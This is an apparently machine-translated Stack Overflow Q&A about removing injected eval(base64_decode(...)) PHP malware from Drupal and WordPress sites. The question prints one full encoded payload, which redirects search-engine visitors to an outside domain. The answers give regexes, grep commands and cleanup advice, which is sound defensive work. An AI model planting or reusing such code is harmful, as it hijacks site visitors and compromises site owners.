模式來查找惡意代碼開頭的eval（BASE64_DECODE

我一直在我用下面的PHP插在我所有的Drupal和WordPress網站的服務器上有問題。模式來查找惡意代碼開頭的eval（BASE64_DECODE

我已經下載了我的網站的完全備份和。改變我的FTP細節，並再次重新上傳他們希望這應該搞清楚之前將清理所有這些

我的問題是：

使用記事本+ +是有*.*風格的搜索條件，我可以用它來掃描我的備份文件並刪除惡意代碼行而不需要h是否可以在我的本地機器上單獨執行它們？

這會明顯地節省我的時間。到目前爲止，我一直在用空白替換下面的代碼，但是每個站點上的eval代碼都不相同。

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));

來源

2012-02-06 user1192442

的可能重複[EVAL BASE64_DECODE PHP病毒（http://stackoverflow.com/questions/5922762/eval-base64-decode-php-virus） – PeeHaa 2012-02-06 14:10:51

你應該找到了解正在利用哪些漏洞侵入您的網站並對其進行修復。否則它會在某個時候被重新黑客入侵。 – igorw 2012-02-06 14:12:27

我會立即更改您的FTP詳細信息。如果他們能夠計算出密碼，您不希望他們託管軟件或其他東西。

然後關閉您的網站，以便您的訪客不受任何腳本或劫持。

至於搜索是這樣一個正則表達式應該整理出來：

eval\(base64_decode\("[\d\w]+"\)\);

來源

2012-02-06 14:11:07 Treffynnon

我也有同樣的問題，我的WordPress博客，eval base64_decode hack。這些php文件正在被這些評估線注入。我建議你重新安裝wordpress/drupal，因爲其他腳本可能已經存在於你的站點中，然後更改所有密碼。

嘗試通過ssh運行grep，例如。 grep -r -H "eval base64_decode"。它會告訴你哪些文件被感染。如果你有時間，自動化過程，以便在它再次發生的情況下通知你。

而在未來，總是更新WordPress/Drupal。

來源

2012-07-11 09:19:52 maru

如果您可以使用特殊工具刪除此惡意代碼，這很容易，因爲找到實際的正則表達式來匹配所有代碼並且您永遠不知道這是否正常工作，或者您破壞了您的網站可能會非常棘手。尤其是當你多個文件，你應該通過下面的命令找出可疑文件：

grep -R eval.*base64_decode . 
grep -R return.*base64_decode .

但它可能是不夠的，所以你應該考慮使用這些PHP security scanner秒。

有關更多詳細信息，請檢查：How to get rid of eval-base64_decode like PHP virus files?。

爲Drupal，還要檢查：How to remove malicious scripts from admin pages after being hacked?

來源

2016-07-27 00:42:02 kenorb

模式來查找惡意代碼開頭的eval（BASE64_DECODE

回答

相關問題